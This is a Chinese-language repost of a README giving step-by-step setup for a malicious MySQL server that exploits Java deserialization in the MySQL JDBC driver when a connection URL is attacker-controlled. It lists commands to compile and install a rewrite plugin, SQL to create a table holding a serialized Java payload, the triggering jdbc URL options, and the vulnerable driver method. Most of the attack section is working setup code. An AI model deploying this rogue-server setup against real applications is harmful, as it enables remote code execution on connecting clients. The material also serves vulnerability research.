内容简介:当MySQL JDBC url可控时,除了能利用MySQL协议读取MySQL Client的本地文件之外,还可以利用客户端在连接服务器时会反序列化服务器返回的二进制数据,从而触发反序列化漏洞。以下安装方式任选其一下载mysql-5.7.28源码到/root/mysql-5.7.28,
MySQL JDBC Deserialization Payload / MySQL客户端jdbc反序列化漏洞
描述
当MySQL JDBC url可控时,除了能利用 MySQL 协议读取MySQL Client的本地文件之外,还可以利用客户端在连接服务器时会反序列化服务器返回的二进制数据,从而触发反序列化漏洞。
详情
1. 安装rewrite插件
以下安装方式任选其一
【任选】编译插件
下载mysql-5.7.28源码到/root/mysql-5.7.28, https://launchpadlibrarian.net/451650638/mysql-5.7_5.7.28.orig.tar.gz rewrite_example.cc见仓库
gcc -shared -Wall -fPIC -o /usr/lib/mysql/plugin/rewrite_example.so rewrite_example.cc -I/root/mysql-5.7.28/include $(mysql_config --cflags) $(mysql_config --libmysqld-libs) -DMYSQL_DYNAMIC_PLUGIN -lmysqlservices
【任选】直接使用本git仓库中的rewrite_example.so
复制rewrite_example.so到/usr/lib/mysql/plugin/rewrite_example.so即可。
rewrite_example.so在Ubuntu16.04编译,如安装时出现问题请自行编译。
2. 安装插件,建表,插入二进制数据
安装插件
INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';
建表
- 创建数据库:codeplutos,请自行创建
- 建表 sql 如下
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for payload
-- ----------------------------
DROP TABLE IF EXISTS `payload`;
CREATE TABLE `payload` (
`COLLATION_NAME` varchar(255) DEFAULT NULL,
`CHARACTER_SET_NAME` blob,
`ID` int(5) DEFAULT NULL,
`IS_DEFAULT` varchar(255) DEFAULT NULL,
`IS_COMPILED` varchar(255) DEFAULT NULL,
`SORTLEN` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of payload
-- ----------------------------
BEGIN;
INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
COMMIT;
SET FOREIGN_KEY_CHECKS = 1;
插入payload
set @a=0xaced00057372002; update codeplutos.payload set character_set_name = @a;
3. 指定jdbc url,连接
jdbc:mysql://server:port/codeplutos?detectCustomCollations=true&autoDeserialize=true
漏洞触发点:
com.mysql.jdbc.ConnectionImpl#buildCollationMapping
private void buildCollationMapping() throws SQLException {
//......省略
try {
results = stmt.executeQuery("SHOW COLLATION");
if (versionMeetsMinimum(5, 0, 0)) {
Util.resultSetToMap(sortedCollationMap, results, 3, 2);
} else {
while (results.next()) {
sortedCollationMap.put(results.getLong(3), results.getString(2));
}
}
} catch (SQLException ex) {
if (ex.getErrorCode() != MysqlErrorNumbers.ER_MUST_CHANGE_PASSWORD || getDisconnectOnExpiredPasswords()) {
throw ex;
}
}
//......省略
}
Reference
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Nature of Code
Daniel Shiffman / The Nature of Code / 2012-12-13 / GBP 19.95
How can we capture the unpredictable evolutionary and emergent properties of nature in software? How can understanding the mathematical principles behind our physical world help us to create digital w......一起来看看 《The Nature of Code》 这本书的介绍吧!